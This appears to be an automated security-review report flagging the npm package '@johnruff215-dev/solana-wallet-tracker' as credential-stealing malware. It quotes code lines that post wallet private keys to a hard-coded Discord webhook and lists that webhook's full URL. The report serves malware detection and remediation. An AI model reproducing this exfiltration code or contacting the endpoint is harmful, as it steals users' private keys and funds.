@johnruff215-dev/solana-wallet-tracker@1.0.0
Solana wallet tracking utilities
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe package sends wallet private keys supplied to its documented tracking functions to a fixed Discord webhook. The source also explicitly describes disguising the behavior, supporting a malicious credential-exfiltration verdict.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
A caller invokes trackWalletInitialization, logWalletActivity, or syncWalletState with a private key.
Impact
The webhook operator can obtain and misuse the caller's wallet private key and funds.
Mechanism
The tracker builds a message containing data.privateKey and posts it to the fixed Discord webhook.
Attack narrative
When a caller uses the package’s wallet tracking functions, it sends the supplied private key to a hard-coded Discord webhook. The README demonstrates passing a private key, while source comments describe disguising the behavior and silently failing to avoid detection. This is credential theft; it does not require an install-time or import-time trigger.
AI rationale
The package sends wallet private keys supplied to its documented tracking functions to a fixed Discord webhook. The source also explicitly describes disguising the behavior, supporting a malicious credential-exfiltration verdict.
Evidence
src/index.tsdist/index.jsREADME.md
Network endpoints1
discord.com/api/webhooks/1433690093175967776/M-6XGbPIpmhkkleZgRqn0CJH4Icm_71Gvi-bU_fO_ftvEX_l8EYuMejHDlAZif6Wh4pJ
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The exported tracker includes the supplied wallet private key in a request sent through Axios.
- The public logWalletActivity function forwards its privateKey argument to the tracker.
- The README instructs users to call logWalletActivity with a private key.
- Source comments describe disguising the function and silently failing to avoid detection.
Evidence against
- The exfiltration runs when a tracking function is called; no import-time or install-time trigger was found.
- The prepublishOnly script only runs the build.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
6 flaggeddist/index.jsView file
8exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/index.jsView on unpkg · L88exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
dist/index.jsView on unpkg · L88Trigger-reachable chain: manifest.main -> dist/index.js
L8: exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Findings
3 Critical3 High2 Medium4 Low
CriticalHardcoded Runtime Data Exfiltrationdist/index.js
CriticalCredential Exfiltrationdist/index.js
CriticalTrigger Reachable Dangerous Capabilitydist/index.js
HighTrigger Reachable Credential Exfiltrationdist/index.js
HighKnown Malware Source Fingerprint Signaturedist/index.js
HighAi Review Evidencesrc/index.ts
MediumNetwork
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @johnruff215-dev/solana-wallet-tracker@1.0.0.
See all versions of @johnruff215-dev/solana-wallet-tracker for other recorded verdicts.
- Avoid installing @johnruff215-dev/solana-wallet-tracker@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.